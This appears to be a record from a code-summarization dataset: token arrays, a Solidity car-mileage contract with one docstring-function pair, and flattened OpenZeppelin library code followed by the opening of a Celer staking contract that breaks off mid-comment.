[ 1, 7009, 1359, 39, 492, 2377, 5349, 225, 10021, 434, 385, 492, 2377, 5349, 1625, 2430, 854, 15770, 635, 279, 9230, 16, 1492, 6617, 3324, 392, 1699, 1359, 358, 326, 276, 492, 2377, 5349, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 17801, 6835, 7852, 1359, 39, 492, 2377, 5349, 353, 385, 492, 2377, 5349, 288, 203, 202, 9940, 14060, 654, 39, 3462, 364, 467, 654, 39, 3462, 31, 203, 203, 202, 2867, 3238, 389, 2316, 16936, 31, 203, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 20, 31, 203, 202, 12316, 12, 2867, 1147, 16936, 13, 288, 203, 202, 202, 6528, 12, 203, 1082, 202, 2316, 16936, 480, 1758, 12, 20, 3631, 203, 1082, 202, 6, 7009, 1359, 39, 492, 2377, 5349, 30, 1147, 9230, 353, 326, 3634, 1758, 6, 203, 202, 202, 1769, 203, 202, 202, 67, 2316, 16936, 273, 1147, 16936, 31, 203, 202, 97, 203, 203, 202, 915, 1147, 16936, 1435, 1071, 1476, 1135, 261, 2867, 13, 288, 203, 202, 202, 2463, 389, 2316, 16936, 31, 203, 202, 97, 203, 203, 202, 915, 4463, 5157, 1435, 1071, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 202, 202, 2463, 203, 1082, 202, 10477, 18, 1154, 12, 203, 9506, 202, 2316, 7675, 12296, 951, 24899, 2316, 16936, 3631, 203, 9506, 202, 2316, 7675, 5965, 1359, 24899, 2316, 16936, 16, 1758, 12, 2211, 3719, 203, 1082, 202, 1769, 203, 202, 97, 203, 203, 202, 915, 389, 26672, 5157, 12, 2867, 27641, 74, 14463, 814, 16, 2254, 5034, 1147, 6275, 13, 203, 202, 202, 7236, 203, 202, 202, 12384, 203, 202, 202, 10601, 203, 202, 95, 203, 202, 202, 2316, 7675, 4626, 5912, 1265, 24899, 2316, 16936, 16, 27641, 74, 14463, 814, 16, 1147, 6275, 1769, 203, 202, 97, 203, 97, 203, 2, -100, -100 ]
pragma solidity ^0.4.25; /** * Contract to store the mileage of a car */ contract Odometer { event Creation( address indexed from, string vin ); event Transfer( address indexed from, address indexed to, string vin ); struct Car { string vin; address owner; uint kilometers; } mapping (string => Car) cars; constructor() public {} /** * Creates a track record of a new car. * Transaction will fail (and burn gas!) if the car already exists. */ function createCar(string vin) public { assert(cars[vin].owner == 0x0); cars[vin].vin = vin; cars[vin].owner = msg.sender; cars[vin].kilometers = 0; emit Creation(msg.sender, vin); } /** * Updates the current kilometers of the car. Transactions fails and burns gas if * the new kilometer value is lower than the old one. */ function updateKilometers(string vin, uint kilometers) public { Car storage transferObject = cars[vin]; assert(transferObject.owner == msg.sender); assert(transferObject.kilometers < kilometers); transferObject.kilometers = kilometers; } /** * Transfers the ownership of a car to a different address. * Transaction fails and burns gas if the car is not owned by the caller or if the kilometers are * less than the last known state. */ function transferOwnership(string vin, address owner, uint kilometers) public { Car storage transferObject = cars[vin]; assert(transferObject.owner == msg.sender); assert(transferObject.kilometers < kilometers); transferObject.owner = owner; transferObject.kilometers = kilometers; emit Transfer(msg.sender, owner, vin); } /** * Returns the current data of the given car */ function getCar(string vin) public constant returns(address owner, uint kilometers) { owner = cars[vin].owner; kilometers = cars[vin].kilometers; } }
* Updates the current kilometers of the car. Transactions fails and burns gas if the new kilometer value is lower than the old one./
function updateKilometers(string vin, uint kilometers) public { Car storage transferObject = cars[vin]; assert(transferObject.owner == msg.sender); assert(transferObject.kilometers < kilometers); transferObject.kilometers = kilometers; }
12,793,381
[ 1, 5121, 326, 783, 417, 330, 362, 1032, 434, 326, 5926, 18, 27148, 6684, 471, 18305, 87, 16189, 309, 326, 394, 417, 330, 362, 847, 460, 353, 2612, 2353, 326, 1592, 1245, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1089, 47, 330, 362, 1032, 12, 1080, 331, 267, 16, 2254, 417, 330, 362, 1032, 13, 1071, 288, 203, 3639, 23672, 2502, 7412, 921, 273, 276, 5913, 63, 21529, 15533, 203, 3639, 1815, 12, 13866, 921, 18, 8443, 422, 1234, 18, 15330, 1769, 7010, 3639, 1815, 12, 13866, 921, 18, 79, 330, 362, 1032, 411, 417, 330, 362, 1032, 1769, 203, 3639, 7412, 921, 18, 79, 330, 362, 1032, 273, 417, 330, 362, 1032, 31, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return recover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return recover(hash, r, vs); } else { revert("ECDSA: invalid signature length"); } } /** * @dev Overload of {ECDSA-recover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return recover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require( uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value" ); require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value"); // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.8.9; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; abstract contract Pauser is Ownable, Pausable { mapping(address => bool) public pausers; event PauserAdded(address account); event PauserRemoved(address account); constructor() { _addPauser(msg.sender); } modifier onlyPauser() { require(isPauser(msg.sender), "Caller is not pauser"); _; } function pause() public onlyPauser { _pause(); } function unpause() public onlyPauser { _unpause(); } function isPauser(address account) public view returns (bool) { return pausers[account]; } function addPauser(address account) public onlyOwner { _addPauser(account); } function removePauser(address account) public onlyOwner { _removePauser(account); } function renouncePauser() public { _removePauser(msg.sender); } function _addPauser(address account) private { require(!isPauser(account), "Account is already pauser"); pausers[account] = true; emit PauserAdded(account); } function _removePauser(address account) private { require(isPauser(account), "Account is not pauser"); pausers[account] = false; emit PauserRemoved(account); } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.8.9; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import {DataTypes as dt} from "./libraries/DataTypes.sol"; import "./interfaces/ISigsVerifier.sol"; import "./libraries/PbStaking.sol"; import "./Whitelist.sol"; import "./Pauser.sol"; /** * @title A Staking contract shared by all external sidechains and apps */ contract Staking is ISigsVerifier, Pauser, Whitelist { using SafeERC20 for IERC20; using ECDSA for bytes32; IERC20 public immutable CELER_TOKEN; uint256 public bondedTokens; uint256 public nextBondBlock; address[] public valAddrs; address[] public bondedValAddrs; mapping(address => dt.Validator) public validators; // key is valAddr mapping(address => address) public signerVals; // signerAddr -> valAddr mapping(uint256 => bool) public slashNonces; mapping(dt.ParamName => uint256) public params; address public govContract; address public rewardContract; uint256 public forfeiture; /* Events */ event ValidatorNotice(address indexed valAddr, string key, bytes data, address from); event ValidatorStatusUpdate(address indexed valAddr, dt.ValidatorStatus indexed status); event DelegationUpdate( address indexed valAddr, address indexed delAddr, uint256 valTokens, uint256 delShares, int256 tokenDiff ); event Undelegated(address indexed valAddr, address indexed delAddr, uint256 amount); event Slash(address indexed valAddr, uint64 nonce, uint256 slashAmt); event SlashAmtCollected(address indexed recipient, uint256 amount); /** * @notice Staking constructor * @param _celerTokenAddress address of Celer Token Contract * @param _proposalDeposit required deposit amount for a governance proposal * @param _votingPeriod voting timeout for a governance proposal * @param _unbondingPeriod the locking time for funds locked before withdrawn * @param _maxBondedValidators the maximum number of bonded validators * @param _minValidatorTokens the global minimum token amount requirement for bonded validator * @param _minSelfDelegation minimal amount of self-delegated tokens * @param _advanceNoticePeriod the wait time after the announcement and prior to the effective date of an update * @param _validatorBondInterval min interval between bondValidator * @param _maxSlashFactor maximal slashing factor (1e6 = 100%) */ constructor( address _celerTokenAddress, uint256 _proposalDeposit, uint256 _votingPeriod, uint256 _unbondingPeriod, uint256 _maxBondedValidators, uint256 _minValidatorTokens, uint256 _minSelfDelegation, uint256 _advanceNoticePeriod, uint256 _validatorBondInterval, uint256 _maxSlashFactor ) { CELER_TOKEN = IERC20(_celerTokenAddress); params[dt.ParamName.ProposalDeposit] = _proposalDeposit; params[dt.ParamName.VotingPeriod] = _votingPeriod; params[dt.ParamName.UnbondingPeriod] = _unbondingPeriod; params[dt.ParamName.MaxBondedValidators] = _maxBondedValidators; params[dt.ParamName.MinValidatorTokens] = _minValidatorTokens; params[dt.ParamName.MinSelfDelegation] = _minSelfDelegation; params[dt.ParamName.AdvanceNoticePeriod] = _advanceNoticePeriod; params[dt.ParamName.ValidatorBondInterval] = _validatorBondInterval; params[dt.ParamName.MaxSlashFactor] = _maxSlashFactor; } receive() external payable {} /********************************* * External and Public Functions * *********************************/ /** * @notice Initialize a validator candidate * @param _signer signer address * @param _minSelfDelegation minimal amount of tokens staked by the validator itself * @param _commissionRate the self-declaimed commission rate */ function initializeValidator( address _signer, uint256 _minSelfDelegation, uint64 _commissionRate ) external whenNotPaused onlyWhitelisted { address valAddr = msg.sender; dt.Validator storage validator = validators[valAddr]; require(validator.status == dt.ValidatorStatus.Null, "Validator is initialized"); require(validators[_signer].status == dt.ValidatorStatus.Null, "Signer is other validator"); require(signerVals[valAddr] == address(0), "Validator is other signer"); require(signerVals[_signer] == address(0), "Signer already used"); require(_commissionRate <= dt.COMMISSION_RATE_BASE, "Invalid commission rate"); require(_minSelfDelegation >= params[dt.ParamName.MinSelfDelegation], "Insufficient min self delegation"); validator.signer = _signer; validator.status = dt.ValidatorStatus.Unbonded; validator.minSelfDelegation = _minSelfDelegation; validator.commissionRate = _commissionRate; valAddrs.push(valAddr); signerVals[_signer] = valAddr; delegate(valAddr, _minSelfDelegation); emit ValidatorNotice(valAddr, "init", abi.encode(_signer, _minSelfDelegation, _commissionRate), address(0)); } /** * @notice Update validator signer address * @param _signer signer address */ function updateValidatorSigner(address _signer) external { address valAddr = msg.sender; dt.Validator storage validator = validators[valAddr]; require(validator.status != dt.ValidatorStatus.Null, "Validator not initialized"); require(signerVals[_signer] == address(0), "Signer already used"); if (_signer != valAddr) { require(validators[_signer].status == dt.ValidatorStatus.Null, "Signer is other validator"); } delete signerVals[validator.signer]; validator.signer = _signer; signerVals[_signer] = valAddr; emit ValidatorNotice(valAddr, "signer", abi.encode(_signer), address(0)); } /** * @notice Candidate claims to become a bonded validator * @dev caller can be either validator 